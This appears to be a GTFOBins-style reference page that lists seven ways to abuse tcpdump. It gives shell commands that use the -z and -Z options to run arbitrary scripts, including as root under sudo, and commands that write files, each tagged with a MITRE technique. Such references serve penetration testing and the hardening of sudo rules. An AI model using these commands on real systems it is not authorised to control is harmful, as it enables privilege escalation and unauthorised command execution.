DΛΣMӨП

Catalog GTFOBins

GTFO · Tool

tcpdump

7 techniques Linux · macOSGTFOBins GPL-3.0

command

ExecutionPrivilege Escalation LinuxmacOS

This requires some traffic to be actually captured. Also note that the subprocess is immediately sent to the background.

echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /path/to/temp-file -Z root
Context
sudo
Native
command
MITRE
T1059

command

Execution LinuxmacOS

This requires some traffic to be actually captured. Also note that the subprocess is immediately sent to the background.

echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /path/to/temp-file
Context
unprivileged
Native
command
MITRE
T1059

command

ExecutionPrivilege Escalation LinuxmacOS

This require some traffic to be actually captured. Also note that the `command-argument` string is both passed to the command and written as file, hence some restrictions apply.

tcpdump -ln -i lo -w 'command-argument' -W 1 -G 1 -z /path/to/command
Context
sudo
Native
command
MITRE
T1059

command

Execution LinuxmacOS

This require some traffic to be actually captured. Also note that the `command-argument` string is both passed to the command and written as file, hence some restrictions apply.

tcpdump -ln -i lo -w 'command-argument' -W 1 -G 1 -z /path/to/command
Context
unprivileged
Native
command
MITRE
T1059

file-write

File WritePrivilege Escalation LinuxmacOS

This saves the packet dump (count is 1) from the loopback interface to a file. To trigger the capture use something like: ``` nc -u localhost 1 <<<DATA ``` While `user` is the owner of the packet dump file, the invoking user must be able to capture traffic on the device.

tcpdump -ln -i lo -w /path/to/output-file -c 1 -Z user
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation LinuxmacOS

This saves the packet dump (count is 1) from the loopback interface to a file. To trigger the capture use something like: ``` nc -u localhost 1 <<<DATA ``` While `user` is the owner of the packet dump file, the invoking user must be able to capture traffic on the device.

tcpdump -ln -i lo -w /path/to/output-file -c 1 -Z user
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write LinuxmacOS

This saves the packet dump (count is 1) from the loopback interface to a file. To trigger the capture use something like: ``` nc -u localhost 1 <<<DATA ``` While `user` is the owner of the packet dump file, the invoking user must be able to capture traffic on the device.

tcpdump -ln -i lo -w /path/to/output-file -c 1 -Z user
Context
unprivileged
Native
file-write
MITRE
T1565